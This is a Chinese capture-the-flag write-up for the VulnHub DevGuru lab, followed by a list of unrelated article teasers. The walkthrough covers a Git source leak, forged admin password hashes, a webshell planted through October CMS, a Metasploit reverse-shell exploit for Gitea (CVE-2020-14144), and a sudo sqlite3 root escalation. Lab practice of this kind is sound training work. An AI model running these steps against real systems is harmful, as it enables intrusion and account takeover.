Vulnhub - DevGuru

news2024/11/18 3:29:37

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

DevGuru 靶机下载地址:DevGuru: 1 ~ VulnHub

目录

0x01 信息收集

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

0x03 权限提升 - SUDO&CVE-2021-3156


0x01 信息收集

Nmap扫描目标主机,发现开放22、80、8585端口,分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。

访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu,CMS为October CMS,数据库管理器为Adminer 4.7.7,编程语言为PHP、GO。 

DirSearch扫描80端口网站目录,发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。 

python dirsearch.py -u "http://192.168.196.139/" -z yes

数据库管理器:http://192.168.196.139/adminer.php

管理员后台登录:http://192.168.196.139/backend/backend/auth

访问8585端口,发现是一个Gitea网站(一款使用Golang编写的可自运营的代码管理工具)。

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:

python GitHack.py -u "http://192.168.196.139/.git/"

翻阅源码,发现 /config/database.php存在MySQL数据库账号密码泄露,用户为october。

'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH',

使用october的账号密码登录Adminer(数据库: octoberdb),在backend_users表观察到用户frank的password hash,尝试使用john解密失败,但得知其加密方式为bcrypt。

使用在线网站生成bcrypt密码hash值,如下:

bcrypt hash在线生成:Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings

 新建用户ch4ser,将生成的hash填入password,并设置is_superuser=1,如下:

PS:另一种方法

新增用户ch4ser,password选择encrypt,is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性,这里能用是因为password可以选择encrypt。

在管理员后台成功登录用户ch4ser。选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。

于是新建一个模板shell,尝试触发onStart()方法写入webshell。访问/shell报错,通过报错信息得知webshell写入成功。

蚁剑连接webshell成功,翻阅目录找到了备份文件/var/backups/app.ini.bak,其中存在另一个用户gitea的MySQL账号密码泄露。

DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
PASSWD              = UfFPTF8C8jjxVF2m

使用gitea的账号密码登录Adminer(数据库: gitea),在user表观察到Gitea管理员frank的密码加密算法为pbkdf2,还有rand和salt看似是加密的。

尝试使用john、hashcat破解Gitea管理员frank的密码,未成功。

在GitHub找到Gitea源码,在该存储库下搜索关键字"pbkdf2",其使用pbkdf2算法进行加密,生成长度为50的hash值,迭代次数为10000,Salt就是之前的Bop8nwtUiM。

Gitea源码地址:https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code

使用在线网站生成pbkdf2密码,填写已知信息Salt、明文、迭代次数、生成的hash长度。

Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50

替换Gitea管理员frank的密码hash值,成功登录8585端口的Gitea。

 

MSF搜索Gitea相关漏洞发现CVE-2020-14144,该漏洞需要认证才可使用,我们现在已满足条件,设置好options然后run,成功拿下frank的普通用户权限。

msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run

或者直接复现该漏洞也行,进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。

0x03 权限提升 - SUDO&CVE-2021-3156

上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。

辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

检测到sudo版本为1.8.21p2,且检测到NOPASSWD的SUDO命令:/usr/bin/sqlite3

查询GTFOBins得知sqlite3的SUDO提权方式如下,启用一个新的root权限的bash。

GTFOBins地址:

但实测以上命令不行,原因是sudo版本不符合利用条件,使用以下命令成功拿到root权限和flag:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

另外也可以通过sudo本身漏洞提权,只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错,漏洞即存在。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1515095.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GPT-4.5 Turbo意外曝光,最快明天发布?OpenAI终于要放大招了!

大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,所以创建了“AI信息Gap”这个公众号,专注于分享AI全维度知识…

什么是信创?什么是信创测评?

信创,全称为信息技术应用创新,我的理解,其核心是知识产权与供应链的自主可控与可持续发展。 我国在经历了无数风雨后,已经浴火重生,国家实力日益强大,人民生活水平也不断提高。然而,我们必须清…

彩虹知识付费模板MangoA全开源包含秒杀/抽奖/社群/推送等功能

二次开发增加以下功能每日秒杀每日签到官方社群多级分销在线抽奖项目投稿 每日秒杀 每日签到 官方社群 多级分销 在线抽奖 项目投稿 下载地址:https://pan.xunlei.com/s/VNstMfOecGliiqew7UIorsOnA1?pwdhywi#

2024年云仓酒庄:店中店增项新模式,开启葡萄酒文化新篇章

2024云仓酒庄:店中店增项新模式,开启葡萄酒文化新篇章 在葡萄酒行业蓬勃发展的今天,云仓酒庄以其独特的经营模式和创新思维,在市场中脱颖而出。2024年,云仓酒庄继续深化其战略布局,不仅在多地开设酒庄实体…

微信小程序开发系列(三十二)·如何通过小程序的API实现页面的上拉加载(onReachBottom事件)和下拉刷新(onPullDownRefresh事件)

目录 1. 上拉加载 2. 下拉刷新 1. 上拉加载 上拉加载是小程序中常见的一种加载方式,当用户滑动页面到底部时,会自动加载更多的内容,以便用户继续浏览小程序中实现上拉加载的方式: ① 在app.json或者page.json中配置距离页面…

比特币创造历史新纪录

综合来源:coindesk and cointelegraph 编译:秦晋 3月11日,比特币在亚洲交易时段首次突破71,000美元,这个是比特币创造的价格新纪录。自1月11日比特币现货ETF在美国获批以来,比特币一直在稳步上涨。以太币突破4000美元。…

JAVA基础—集合详细解析

1.JAVA中的4种集合类型 Set:无序、不可重复的集合List:有序、重复的集合Queue: 队列Map:映射关系 首先,JAVA的集合类主要有两个接口派生而出:Collection和Map。Collection和Map就是JAVA集合的根接口。所以后…

【目标检测经典算法】R-CNN、Fast R-CNN和Faster R-CNN详解系列一:R-CNN图文详解

学习视频:Faster-RCNN理论合集 概念辨析 在目标检测中,proposals和anchors都是用于生成候选区域的概念,但它们在实现上有些许不同。 Anchors(锚框): 锚框是在图像中预定义的一组框,它们通常以…

代码随想录算法训练营Day45 ||leetCode 70. 爬楼梯 (进阶)|| 322. 零钱兑换 || 279.完全平方数

70. 爬楼梯 &#xff08;进阶&#xff09; 本质上和leetcode377一样 #include <iostream> #include <vector> using namespace std; int main() {int n, m;while (cin >> n >> m) {vector<int> dp(n 1, 0);dp[0] 1;for (int i 1; i < n; i…

antd vue Tabs控件的使用

Ant Design Vue-------Tabs标签页 今天就讲讲Ant Design Vue下的控件----tabs 标签页 结合项目中的需求&#xff0c;讲一下该控件如何使用&#xff0c;需求&#xff1a; &#xff08;1&#xff09;竖排样式 &#xff08;2&#xff09;如何使用v-for绑定数据源 &#xff08;3…

Midjourney新算法来袭!解决你角色形象一致性的大难题——亲测猫与女孩跨场景表现

嘿&#xff0c;朋友们&#xff0c;你们想过这个问题吗&#xff1f; 当你在制作一部电影或写一部小说时&#xff0c;你总希望同一个角色能在不同的场景和背景下出现&#xff0c;对吧&#xff1f; 但这时&#xff0c;一个难题冒出来了&#xff1a;如何确保这个角色的形象在各个…

基于经验模式分解和小波阈值的自适应降噪研究_杨铮

目的 针对轴承信号在采集过程中容易受到不同环境下噪声干扰&#xff0c;提出EMD分解结合小波阈值的自适应降噪的方法&#xff0c;对轴承振动信号进行降噪处理&#xff0c;提取出所需要的振动信号。方法 首先对含有噪声的轴承信号进行EMD分解&#xff0c;得到n个IMF并进行小波阈…

武汉云仓酒庄:品牌细节,用心呈现葡萄酒文化新高度

武汉云仓酒庄&#xff1a;品牌细节&#xff0c;用心呈现葡萄酒文化新高度 在繁忙的武汉都市中&#xff0c;有一处静谧的角落&#xff0c;那便是云仓酒庄。这里不仅仅是葡萄酒的汇聚之地&#xff0c;更是葡萄酒文化传播与交流的重要平台。近日&#xff0c;武汉云仓酒庄以其精心…

搭建Hadoop3.x完全分布式集群

零、资源准备 虚拟机相关&#xff1a; VMware workstation 16&#xff1a;虚拟机 > vmware_177981.zipCentOS Stream 9&#xff1a;虚拟机 > CentOS-Stream-9-latest-x86_64-dvd1.iso Hadoop相关 jdk1.8&#xff1a;JDK > jdk-8u261-linux-x64.tar.gzHadoop 3.3.6&am…

简单理解NAT模式和桥接模式

目录 桥接模式NAT模式总结 桥接模式 1.桥接模式下 当物理机X创建了一台或多台虚拟机 那么这些创建出来的虚拟机 可以视作一台独立的新机器 加入了该局域网 并允许和该局域网的物理机或者其他虚拟机直接通信 2.问题一在于 C类网的分配是有范围的(0-255) 假如是一个教室里的局域…

算法题目记录

1.杂题 1.1 计算二进制中1的个数 AcWing import java.util.*;public class Main{public static void main(String[] args) {Scanner sc new Scanner(System.in);int n sc.nextInt();int[] num new int[n];for (int i 0; i < n; i) {num[i] sc.nextInt();}int[] arr n…

STM32第七节:GPIO输入——按键检测(包含带参宏)

目录 前言 STM32第七节&#xff1a;GPIO输入——按键检测&#xff08;包含带参宏&#xff09; 带参宏 代码替换展示 定义带参宏 GPIO输入——按键检测 硬件部分 端口输入数据寄存器&#xff08;GPIOx_IDR&#xff09; 编写程序 配置以及编写bsp_key文件 main函数编程…

EasyCode 插件的具体使用

前言 EasyCode 是基于IntelliJ IDEA Ultimate版开发的一个代码生成插件&#xff0c;主要通过自定义模板&#xff08;基于velocity&#xff09;来生成各种你想要的代码。通常用于生成Entity、Dao、Service、Controller。如果你动手能力强还可以用于生成HTML、JS、PHP等代码。理…

Spring Cloud项目整合Sentinel及简单使用

说明&#xff1a;Sentinel是阿里巴巴开发的微服务治理中间件&#xff0c;可用于微服之间请求的流量管控、权限控制、熔断降级等场景。本文介绍如何在Spring Cloud项目中整合Sentinel&#xff0c;以及Sentinel的简单使用。 环境 首先搭建一个简单的微服务环境&#xff0c;有以…

关于分布式微服务数据源加密配置以及取巧方案(含自定义加密配置)

文章目录 前言Spring Cloud 第一代1、创建config server项目并加入加解密key2、启动项目&#xff0c;进行数据加密3、实际项目中的测试server Spring Cloud Alibaba低版本架构不支持&#xff0c;取巧实现无加密配置&#xff0c;联调环境问题加密数据源配置原理探究自定义加密解…